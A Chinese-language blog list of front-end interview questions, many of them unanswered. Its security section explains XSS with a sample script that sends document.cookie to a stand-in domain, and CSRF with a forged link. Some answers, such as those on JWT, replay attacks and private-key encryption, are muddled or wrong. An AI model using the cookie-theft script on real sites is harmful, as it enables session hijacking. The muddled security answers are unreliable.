前端不常见25k+面试题(持续更新)

这一套面试题可能和网上看到的都不太一样,如果你都能答出来,那你就是25k+的水平了

1、苹果手机字体的锯齿怎么实现平滑

-webkit-font-smoothing: subpixel-antialiased

-webkit-font-smoothing主要有一下三个属性:

  • none: 无抗锯齿
  • subpixel-antialiased (default): 次像素平滑 常见于Mac OS和MacType For Windows
  • antialiased: 灰度平滑 常用于Android和iOS等移动设备的

2、Chrome浏览器字体小于12px的字体怎么设置

1、使用transform:scale()

font-size:10px;
-webkit-transform:scale(0.8)
/*这里的数字0.8,是缩放比例,可以根据情况变化。*/

2、 加-webkit-text-size-adjust:none; 字体大小 就不受限制了。但是谷歌新版本已经不支持了

#chrome10px{ -webkit-text-size-adjust:none; font-size:10px; }

3、移动端的touch有哪些专属的事件

  • touchstart : 当手指触摸到指定元素时触发
  • touchmove: 当手指在指定元素上移动时触发
  • touchend: 当手指离开指定元素时触发

4、当有个radio,想点击radio前面的文字也会被选择怎么实现

使用label

<label for="radio_test">
	男生:<input type="radio" id="radio_test" />
</label>

5、addEventlistener 的参数有什么

addEventListener(type, listener[, useCapture ])
addEventListener(type, listener[, options ])

addEventListener(type, listener, {
    capture: false,
    passive: false,
    once: false
})
  • 第一个参数是事件的类型 (如 “click” ).

  • 第二个参数是事件触发后调用的函数

  • 第三个参数是可选参数,布尔值或者对象值。

    如果是布尔值得话,默认是false(冒泡阶段执行)true(捕获阶段产生)
    如果是对象值,有三个属性:
    1、其中 capture 属性等价于以前的 useCapture 参数;
    2、once 属性就是表明该监听器是一次性的,执行一次后就被自动 removeEventListener 掉。
    3、passive 表示listener永远不会调用preventDefault()。如果listener仍然调用了这个函数,客户端将会忽略它并抛出一个控制台警告。

6、Math.min()>Math.max()

true
Math.min() 打印Infinity
Math.max() 打印 -Infinity

7、vue的生命周期钩子

总共12
初始化 beforeCreate、created
创建期 beforeMount、mounted
更新期 beforeUpdate、updated
销毁期 beforeDestroy、destroyed
配合keep-alive 使用的两个函数 activated、deactivated
2.5版本新增的,处理异常的钩子函数 errorCaptured
在 vue-v2.6 的版本中,处理ssr的函数 serverPrefetch

8、苹果手机中的橡皮筋的效果怎么去掉

把tauchmove默认事件取消,显然这不是一个很好的方法,如果是h5嵌套到app中的话,一般都是原生去完善这个功能的
e.preventDefault(); //阻止浏览器默认事件

9、移动端300ms延迟和穿透是怎么产生的,怎么解决

(1)如何产生
  • 移动端会有双击缩放的这个操作,因此浏览器在click之后要等待300ms,看用户有没有下一次点击,也就是这次操作是不是双击
  • 假如有两个元素A和B,B在A之上,我们在B元素的touchstart事件上注册了一个回调函数,该回调函数的作用是隐藏B元素。我们发现,当我们点击B元素,B元素被隐藏了,随后,A元素触发了click事件。
    这是因为在移动端浏览器,事件执行的顺序是touchstart > touchend > click。而click事件有300ms的延迟,当touchstart事件把B元素隐藏之后,隔了300ms,浏览器触发了click事件,但是此时B元素不见了,所以该事件被派发到了A元素身上。如果A元素是一个链接,那此时页面就会意外地跳转。
    简单来说就是,如果两个元素是重叠的(一个在另一个上面),并且上面一个监听了touchstart事件, 下面一个监听了click事件,那么如果上面一个元素触发touchstart事件之后消失了, 那么就会出现点透问题
(2)解决方案

点透的解决根本方案就是解决300ms延迟的问题

300ms延迟解决方案:

  • 不要混用touch和click。既然touch之后300ms会触发click,只用touch或者只用click就自然不会存在问题了。
  • 禁用缩放
    既然双击缩放仅对那些可被缩放的页面来说有存在意义,那对于不可缩放的页面,直接去掉点击延迟,何乐而不为呢?这里所说的不可缩放,是指使用了下述 标签的页面。
    缺点:你必须完全禁用缩放来达到目的,而从移动端站点的可用性和可访问性来看,缩放是相当关键的一环。你很可能已经遇到过这个问题,即你想要放大一张图片或者一段字体较小的文本,却发现无法完成操作。
<meta name="viewport" content="user-scalable=no">
<meta name="viewport" content="initial-scale=1,maximum-scale=1">
  • 更改默认的视口窗口
    为了让桌面站点能在移动端浏览器正常显示,移动端浏览器默认的视口宽度!=设备浏览器视窗宽度,而是视口宽度要比设备宽度大,通常是980px。
    对移动端坐过适配和优化了,这个时候就不需要双击缩放了。如果能够识别出一个网站是响应式的网站,那么移动端浏览器就可以自动禁掉默认的双击缩放行为并且去掉300ms的点击延迟。如果设置了上述meta标签,那浏览器就可以认为该网站已经对移动端做过了适配和优化,就无需双击缩放操作了。
    这个方案相比方案一的好处在于,它没有完全禁用缩放,而只是禁用了浏览器默认的双击缩放行为,但用户仍然可以通过双指缩放操作来缩放页面
    我们可以通过以下标签来设置视口宽度为设备宽度。
<meta name="viewport" content="width=device-width">

更多解决方案戳https://www.cnblogs.com/li923/p/11846599.html,这篇文章整理的比较详细

10、单页面和多页面之间的区别

单页面应用(SPA),通俗一点说就是指只有一个主页面的应用,浏览器一开始要加载所有必须的 html, js, css。所有的页面内容都包含在这个所谓的主页面中。但在写的时候,还是会分开写(页面片段),然后在交互的时候由路由程序动态载入,单页面的页面跳转,仅刷新局部资源。多应用于pc端。

多页面(MPA),就是指一个应用中有多个页面,页面跳转时是整页刷新

单页面的优点:
1,用户体验好,快,内容的改变不需要重新加载整个页面,基于这一点SPA对服务器压力较小
2,前后端分离
3,页面效果会比较炫酷(比如切换页面内容时的转场动画)

单页面缺点:
1,不利于seo
2,导航不可用,如果一定要导航需要自行实现前进、后退。(由于是单页面不能用浏览器的前进后退功能,所以需要自己建立堆栈管理)
3,初次加载时耗时多
4,页面复杂度提高很多
前端不常见25k+面试题(持续更新)_第1张图片
图片来源https://juejin.im/post/5a0ea4ec6fb9a0450407725c

11、html5怎么实现地理信息定位

h5实现获取地理位置信息并定位功能有很多种方法,比如使用原生h5,第三方地图接口如(百度地图,腾讯地图等)等

1、如何使用h5地理位置定位功能

定位功能(Geolocation)是HTML5的新特性,因此只有在支持HTML5的现代浏览器上运行。首先我们要检测用户设备浏览器是否支持地理定位,如果支持则获取地理信息。注意这个特性可能侵犯用户的隐私,除非用户同意,否则用户位置信息是不可用的,所以我们在访问该应用时会提示是否允许地理定位,我们当然选择允许即可。

function getLocation(){ 
  if (navigator.geolocation){ 
    navigator.geolocation.getCurrentPosition(showPosition,showError); 
  }else{ 
    alert("浏览器不支持地理定位。"); 
  } 
} 

上面的代码可以知道,如果用户设备支持地理定位,则运行 getCurrentPosition() 如果getCurrentPosition()运行成功,则向参数showPosition中规定的函数返回一个coordinates对象,getCurrentPosition() 方法的第二个参数showError用于处理错误,它规定当获取用户位置失败时运行的函数。
  我们先来看一下函数showError(),它规定获取用户地理位置失败时的一些错误代码处理方式:


function showError(error){ 
  switch(error.code) { 
    case error.PERMISSION_DENIED: 
      alert("定位失败,用户拒绝请求地理定位"); 
      break; 
    case error.POSITION_UNAVAILABLE: 
      alert("定位失败,位置信息是不可用"); 
      break; 
    case error.TIMEOUT: 
      alert("定位失败,请求获取用户位置超时"); 
      break; 
    case error.UNKNOWN_ERROR: 
      alert("定位失败,定位系统失效"); 
      break; 
  } 
} 

我们再来看函数showPosition(),调用coords的latitude和longitude即可获取到用户的纬度和经度。

function showPosition(position){ 
  var lat = position.coords.latitude; //纬度 
  var lag = position.coords.longitude; //经度 
  alert('纬度:'+lat+',经度:'+lag); 
}
2、第三方地图接口,参考第三方地图开发接口文档

答案参考https://www.cnblogs.com/lijuntao/p/6439596.html

12、h5离线缓存怎么实现

13、video audio

14、常见导致内存泄漏的原因

1、意外的全局变量
2、被遗忘的的计时器或回调函数
3、闭包

内存泄露是指一块被分配的内存既不能使用,又不能回收,直到浏览器进程结束。即指由于疏忽或错误造成程序未能释放已经不再使用的内存。 内存泄漏并非指内存在物理上的消失,而是应用程序分配某段内存后,由于设计错误,导致在释放该段内存之前就失去了对该段内存的控制,从而造成了内存的浪费。
内存泄露会导致一系列问题,比如:运行缓慢,崩溃,高延迟,甚至一些与其他应用相关的问题。

15、项目为什么要使用模块化

  • 可以解决命名冲突
  • 管理依赖
  • 提高代码的可读性
  • 代码解耦,提高代码的复用性

16、模块化和组件化有什么区别

组件是功能化的封装,模块是代码的封装

模块化:是从代码逻辑的角度进行划分的,方便代码分层开发,保证每个功能模块的职能单一;

组件化:是从UI界面的角度进行划分的,前端的组件化,方便UI组件的复用

17、如何实现数组去重?

https://www.cnblogs.com/web-record/p/9141373.html

18、XSS、CSRF安全问题以及修补方案

1 、XSS攻击

XSS攻击,全称跨站脚本攻击,是为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。如果说SQL注入是直接在SQL里执行了用户输入,那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入,XSS似乎更能引起人关注。

例子:一个文本框 < input type="text" name='keyname' value="">

在页面上我输入了这样的代码:< script> window.location.href='MyDomain.com?cookie=' + document.cookie;

这段代码获取到当前页面的cookie值,并将cookie值传递到另一个名为MyDomain.com的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。XSS攻击也可以简单分为两种,一种是上述例子中利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。

解决方案:

  1. 在设置cookie时,将httpOnly属性设置为true,表示cookie仅通过HTTP(S)发送,并且不提供给客户端JavaScript,这样使用js 就获取不到cookie了。
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对发送的数据进行Html Encode 编码转换处理,或者使用正则替换, 例如: < script>, < iframe> , < for <, > for >
  4. 除此之外,还需要判断所有提交标签中 href 属性中是否含有JavaScript 内容,也要做转义处理;
  5. 过滤JavaScript 事件的标签。例如 “οnclick=”, “onfocus” 等等。
  6. 服务器在返回客户端存储的时候,生产页面需要做判断处理查看是否有XSS攻击,然后做转义处理;

2、CSRF攻击(跨站点请求伪造)

顾名思义,是伪造请求,冒充用户在站内的正常操作。攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来讲,这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,而且你自己还不知道究竟是哪些操作。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。

CSRF攻击原理如下:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B返回一些攻击性代码,并发出一个请求要求访问网站A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

例子1:
比如你打开浏览器,正在访问A网站,登录了自己的账号,进行查看、编辑一些正常操作。如下图所示:
前端不常见25k+面试题(持续更新)_第2张图片
此时,你打开了B网站,随意点了一个链接(这个链接相当于操作了上面网站中的删除按钮)。
前端不常见25k+面试题(持续更新)_第3张图片
接下来发生了不可思义的一幕,明明只是点了B网站页面的一个链接,却对A网站的数据进行了操作。
前端不常见25k+面试题(持续更新)_第4张图片
出现这种现象是因为,cookie在同一个浏览器窗口、不同TAB标签页,会被共享,也就是说,当你在同一个浏览器窗口(不管是不是同一个网站)向同一个服务器发送请求时,cookie都会被自动传到服务器。黑客完全可以在不知道你的 cookie 的情况下利用浏览器自动发送的 cookie 通过服务器的安全验证。

例子2:
一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:

http://example.com/bbs/create_post.php?title=标题&content=内容

那么,我只需要在论坛中发一帖,包含一链接:

http://example.com/bbs/create_post.php?title=我是哈哈哈哈哈&content=哈哈

只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。

解决方案:
在用户登录成功后,返回一个随机token给浏览器,当每次用户发送请求的时候,将token 主动发送给服务器端(为了安全,不建议将token以参数的形式传给服务器,可以将token存储在请求头中),服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

接下来我们来看抵御CSRF攻击的方法:
JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,可以用来解决跨站请求伪造(csrf)的漏洞。

JWT具体使用方法可参考答案https://blog.csdn.net/Charissa2017/article/details/105183188

19、http协议缓存机制

20、父组件和子组件生命周期钩子的渲染顺序是什么

加载渲染过程
父beforeCreate->父created->父beforeMount->子beforeCreate->子created->子beforeMount->子mounted->父mounted
子组件更新过程
父beforeUpdate->子beforeUpdate->子updated->父updated
父组件更新过程
父beforeUpdate->父updated
销毁过程
父beforeDestroy->子beforeDestroy->子destroyed->父destroyed

21、webpack性能优化的配置

22、vue的响应式原理

23、flex布局项目属性

order | flex-grow |flex-shrink | flex-basis | flex | align-self

24、css3一个冒号和两个冒号的区别

25、列举所有的伪元素

26、浏览器输入地址呈现网页这个过程中浏览器做了哪些事情

27、在html里定义哪个属性可以支持模块化

28、css动画和js动画有什么区别

29、babel解析es5到es3的原理是什么

30、封装一个promise

31、如何减少页面的重绘

32、react16.3新增了两个生命周期函数是什么

33、什么是二叉树

34、map和set是什么

35、移动端滚动的列表,打开白屏,当手指拖动的时候有卡顿的现象,白屏和卡顿是怎么产生的

卡顿是因为接口数据太大 前端没有做节流防抖工作 可以使用分页请求
白屏是网速、静态资源加载的问题

36、跨域的几种解决方式

37、单页面和多页面的区别

38、数组排序的方式

39 、vue中Object.defineProperty有什么缺点

无法检测到对象属性的改变

40、 express和koa的区别

koa是在next中封了个promise

41、在vue中如何更改数组里的值

42、原生js的this指向问题

43、webpack和gulp的区别

44、vue组件之间通信的方法

45 说说移动端的布局方式

46、工作中使用git是按照什么样的git工作流

47、手写一个bind

Function.prototype.myBind = function(context) {
  if (typeof this !== "function") {
    throw new Error("不是一个函数")
  }
  const self = this;
  const args1 = [...arguments].slice(1)

  const bindFn = function() {
    const args2 = [...arguments] 
    return self.apply(context, args1.concat(args2))
  }

  return bindFn
}

const obj = {
  value: 'hdove'
}

function fn(name, age) {
  return  {
    value: this.value,
    name,
    age
  }
}

var result = fn.myBind(obj)('lu', 25)
console.log(result)

48、一像素边框的实现原理

49、在什么条件下使用async和await

异步调用的时候,await返回Promise,必须和async一起配套使用

50、statusBar电量条逻辑像素20px

51、为什么vue修改数据dom会重新渲染

Object.definepropty 监听数据变化,通过观察者模式,然后修改dom

52、vue单文件组件的优点

方便编写 阅读 模块化开发

53、vue为什么要使用v-bind

v-bind

54、怎么编写插件,为什么要使用插件

定义一个对象 绑定一个
把业务处理交给第三者,编写满足各种各样需求的组件

55、逐帧动画

56、怎么理解前后端不分离和前后端分离,根本区别是什么

根本区别是前后端分离是有各自的服务

57、前后端模板使用的场景以及区别

后端模板封装接口 前端渲染页面

58、koa2有什么中间件

koa-router static

59、如何把数据传递给后端

表单 json 浏览器请求 cookie 自定义首部字段

60、前端往后端送cookie通过什么方式

cookies的首部

61、translate上下左右移动位置和 定位 margin有什么区别

61、说说你知道的异步解决方案

promise async,await async方法

62、为什么要使用gwt

可以实现非对称加密 不会被破解 可以正向重放攻击

63、单页面和多页面的区别

单页面不用跳转页面,页面数据可以共享,加载速度快,用户体验好,不利于SEO优化
多页面

64、路由的原理

根据url路径不同进行动态组件的切换

65、观察者模式和中介者模式有什么区别

66、vue中当使用动态组件时,怎么匹配路由

1、用watch监听

前端不常见25k+面试题(持续更新)_第5张图片

2、路由守卫 beforeRouteUpdate

前端不常见25k+面试题(持续更新)_第6张图片

67、vue中beforeRouteUpdate在什么时候调用

动态路由发生变化的时候调用

68、router.replace和router.push有什么区别

router.replace不会占用路由栈,当前只有一个路由,节省内存,不会记录history

69、vue中一个动态组件可以匹配多个路径(动态路由),那么一个路径可以匹配多个组件吗

可以,使用命名视图

70、koa中使用的body-parse的原理是什么

71、如何实现按需加载

72、webpack生命周期

73、前后端怎么联调

74、解释es6中map some every filter foreach,map和foreach有什么区别

75、闭包的使用场景

组件中的data

76、防抖和节流的区别

77、promise和callback的区别

78、promise中all和race的区别和使用

79、vue实例的方法和全局的方法

80、怎么使用vue的路由

81、vue中render钩子在什么时候调用,如果不使用render dom也能渲染,为什么

82、v-model的实现

83、自定义组件绑定事件

84、如何去多个路由怎么复用一个组件

85、路由守卫的分类,以及每个类型对应的钩子有哪些

86、vue中常用的指令有哪些

87、vue中如果要自己定义一个指令要怎么定义,自定义指令中两个参数是什么

88、vue中slot中作用域插槽的使用方式

89、怎么比较两个对象

90、怎么实现数组的扁平化

91、josnp可以做post请求跨域吗

jsonp跨域是通过动态添加script标签实现跨域的
由于script标签只能发送get请求
所以jsonp不支持post方式的跨域

92、webpack打包为什么要生成一个hash值

93、js的定时器的时间为什么不准

94、vue中router-link和直接使用a链接跳转路由有什么区别

95、$nextTick的本质是什么

96、后端拿到的数据解析不了是因为什么

97、keepalive有什么优缺点

98、如何判断某个容器下所有图片加载完毕

99、如何删选出一段文本里面的某些敏感字

100、正则中new reg创建对象实例和字面量写法有什么区别

reg里面可以写变量

101、如何匹配一个html标签

102、如何扁平化一个对象

103、Linux常用命令

104、node如何创建一个文件,如何修改文件的

105、css3中3D转换

106、css3绘制圆角矩形,怎么绘制对称的圆弧

107、如何判断当前设备是手机还是pc,然后对应显示不同的域名(手机:m.taobao.com , pc:taobao.com)

通过useragen

108、如何在css中写js

109、select中加v-model ,忘记写 value如何对 select的值进行绑定

110、自定义组件绑定v-model

111、oracle 、sqlserver、MySQL有什么区别

112、关系型数据库和非关系型数据库有什么区别

113、回流和重绘是什么,有什么区别

114、浏览器渲染页面的过程

115、怎么提高移动端页面的浏览速度

transform z轴开启硬件加速

116、横向scroll滚动宽度的最大值怎么获取

117、setTimeout和$nextTick的区别

118、父组件给子组件传了信息,子组件没有渲染,父组件修改了值,子组件会不会修改,子组件的updated会不会被调用

119、vue中从外部传入的属性和组件内部的属性有什么区别

120、vue什么是单向数据流

121、require加载模块,加载是按照什么样的顺序(node内置模块,第三方模块,自己写的模块)

122、m站如何侦测用户是几个手指点击

event对象里tauchs数组有几个元素

123、怎么提高网页的加载速度

124、vuex使用的流程,vuex有什么弊端

125、使用组件库有什么好处,什么弊端

可扩展性,低耦合性

126、vuex能在mutations做异步操作吗

127、vuex中dispatch返回的是什么

128、vuex如何做两个dispatch的并行

129、vuex模块拆分是怎么拆分的,基本思路是什么

130、node路由的基本实现原理是什么

131、koa如何解析前端请求的form表单

132、koa如何在两个中间件之前传递信息

133、为什么要使用二级域名

134、为什么静态资源要单独放一个服务器

cdn分发,不携带cookie

135、vue中表单数据采集

136、移动端轮播图图片比例如何设置不变形,既要保证图片宽高比,而且还要保证手机端轮播图区域有一个动态高度的留白,不会出现当加载图片时,图片加载完成留白宽度随着图片高度改变而突然改变

137、如何自己开发一个模板引擎,怎么解析语句

使用eval

138、js中作用域链和原型链的查找顺序

139、原型链包含的内容都有哪些

140、html5如何实现拖放

141、js游戏中如何监测两个物体的碰撞

142、session 和cookie的区别

1、session是个后端的抽象概念,在后端创建一个会话,session也可以是个实体概念,在后端创建一个随机字符串,这个字符串保存在内存、文件、数据库里。
2、服务器端将session的随机hash串以cookie的形式 存储在客户的浏览器里
3、浏览器端需要比对cookie,将cookie携带到后端 ,后端再用自己 存储的session hash和客户端传来的cookie比较

143、token

1、当用户登录成功后,后端使用对称(或非对称)加密的算法产生一个token
2、将token分发给登录成功的用户,通过浏览器的永久存储(cookie,webstorage)保留下来
3、当用户访问某个需要权限的页面的时候,将令牌出示给后端,后端进行验证,验证沟通过就可以有权
限了

144、 token和cookie-session的区别,了解oAuth2是什么

token不需要在服务器端维护状态,只需要验证token

145、jsonwebtoken(jwt)验证

支持对称加密和非对称加密

146、对称加密和非对称加密的思路是什么

  • 非对称加密
    1、加密方通过私钥进行加密
    2、通过公钥解密
    3、公私钥生成工具
    前端不常见25k+面试题(持续更新)_第7张图片

147、使用过store.js、vuex-persist吗

148、request:comingMessage,response:serverResponse=()=>{}

149、使用过koa吗,有没有遇到过什么问题

使用koa时,上传图片用到了koa-multer,如果是不符合要求的图片不能捕获到错误
前端不常见25k+面试题(持续更新)_第8张图片

150、使用element-ui遇到过什么问题吗

图片上传

151、vue中路由懒加载怎么实现

152、node.js中非阻塞io

153、node.js中的事件循环

154、在工作中git的工作流程是怎么样的

155、SEO优化

  • 优良的内容,有利于PageRank 排名靠前

156、性能

  • 页面静态化有利于网页打开的速度

157、客户端渲染CSR(client side renderer)

  • 后端提供数据(json字符串),前端渲染模板
  • SPA是典型的CSR

158、服务端渲染SSR(server side renderer)

  • 页面纯静态化(CMS)
  • 动态化的静态页面

159、用stylus封装1像素边框的原理

160、为什么要给一个文件添加一个版本号

161、vue中watch的使用场景

162、vue本身的性能优化有哪些

尽可能使用计算属性
路由懒加载

163、node的事件循环

164、vue中extends是什么

165、vue中Mixin全局混入和mixins局部options的区别

166、为什么使用node.js作为后端,如何技术选型的,是用来解决什么需求的?

167、vue路由懒加载是如何提高性能的?

168、你们之前在开发vuex有没有规范

169、vue中监听数组和对象应该怎么做,在react中实现v-for的功能该怎么实现

170、vue中怎么收集select数据,怎么收集select multiple的数据

171、vue路由中怎么实现用户的权限访问

172 react不是一个纯粹的mvc,也不是个mvvm,只能算个view层,怎么理解?

173 react jsx状态里是个字符串怎么渲染

174 react怎么实现循环

175 react如何实现父子组件传递

176 react怎么实现组件组合

177 react里事件绑定有什么规则,怎么传参

178 老版的生命周期钩子

179 redux中容器组件和UI组件的区别

180 redux和vuex有什么区别

181 react里有什么组件分类

182说说react+redux的开发范式是怎么样的

  • 以功能拆分状态的方法
    container UI组件 actionTypes actionScreator reduce人 index.js(接口)
  • 以角色拆分状态的方法

183 react中ref是怎么定义的

说说protal怎么使用的,有什么作用

react中受控组件和非受控组件怎么创建,有什么区别

react中常用的组件间的通信

在使用redux时有两种范式,一种时按照角色分模块,一种是按照功能分模块,这两种有什么区别

react样式引用有几种方法

context的原理

react组件缓存的几种方案

类shouldcomponentupdata purComponent (但是不能监测对象)
函数memo
memozition

webpack代码分割

webpack 中的babel-loader有什么作用

你可能感兴趣的:(myskill)